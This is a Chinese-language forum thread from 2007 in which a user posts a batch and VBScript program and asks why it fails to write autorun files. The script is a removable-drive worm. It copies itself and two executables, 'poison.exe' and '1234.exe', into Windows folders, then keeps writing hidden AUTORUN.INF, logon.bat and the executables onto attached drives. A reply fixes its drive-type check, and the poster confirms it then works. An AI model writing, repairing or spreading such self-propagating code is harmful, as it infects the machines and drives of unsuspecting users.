Board logo

标题: 请帮忙看看为什么不能生成autorun [打印本页]

作者: nence     时间: 2007-5-22 10:49    标题: 请帮忙看看为什么不能生成autorun


@echo off
copy %0 %windir%\system32
if exist %systemroot%\poison.exe goto end
copy poison.exe %systemroot%
copy 1234.exe %systemroot%                                 
echo on error resume next>%windir%\system32\logon.vbs
echo strComputer = ".">>%windir%\system32\logon.vbs
echo set fs =createobject("scripting.filesystemobject")>>%windir%\system32\logon.vbs
echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\system32\logon.vbs
echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\system32\logon.vbs
echo ^& "{impersonationLevel=impersonate}!\\" ^& strComputer ^& "\root\cimv2")>>%windir%\system32\logon.vbs
echo Set colDisks = objWMIService.ExecQuery _>>%windir%\system32\logon.vbs
echo ("Select * from Win32_LogicalDisk")>>%windir%\system32\logon.vbs
echo For i =1 to 9000000000>>%windir%\system32\logon.vbs
echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs
echo If objDisk.DriveType=1 or objDisk.DriveType=2 then>>%windir%\system32\logon.vbs
echo y1=fs.FileExists(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo if not y1 then>>%windir%\system32\logon.vbs
echo set f=fs.opentextfile(objDisk.DeviceID ^& "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs
echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "open=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shellexecute=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shell\Auto\command=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.Close>>%windir%\system32\logon.vbs
echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y2=fs.FileExists(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo if not y2 then >>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y3=fs.FileExists(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo if not y3 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\poison.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f3 = fs.GetFile(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y4=fs.FileExists(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo if not y4 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\1234.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f4 = fs.GetFile(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo If f4.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f4.Attributes = f4.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo End if>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
echo WScript.Sleep 20000>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
start %windir%\system32\logon.vbs
:end

作者: wudixin96     时间: 2007-5-22 12:57
没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000
作者: wudixin96     时间: 2007-5-22 13:25
DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: "可移动"
2: "固定"
3: "网络"
4: "CD-ROM"
5: "RAM 磁盘"
作者: newyun     时间: 2007-5-22 14:14
虽然帮不上忙但是顶下
作者: nence     时间: 2007-5-22 18:25


  Quote:
Originally posted by wudixin96 at 2007-5-22 12:57 PM:
没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000

For i =1 to 9000000000
让它无限循环
WScript.Sleep 20000
每20秒检查一次
作者: nence     时间: 2007-5-22 18:32


  Quote:
Originally posted by wudixin96 at 2007-5-22 01:25 PM:
DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: " ...

非常感谢
就是这个原因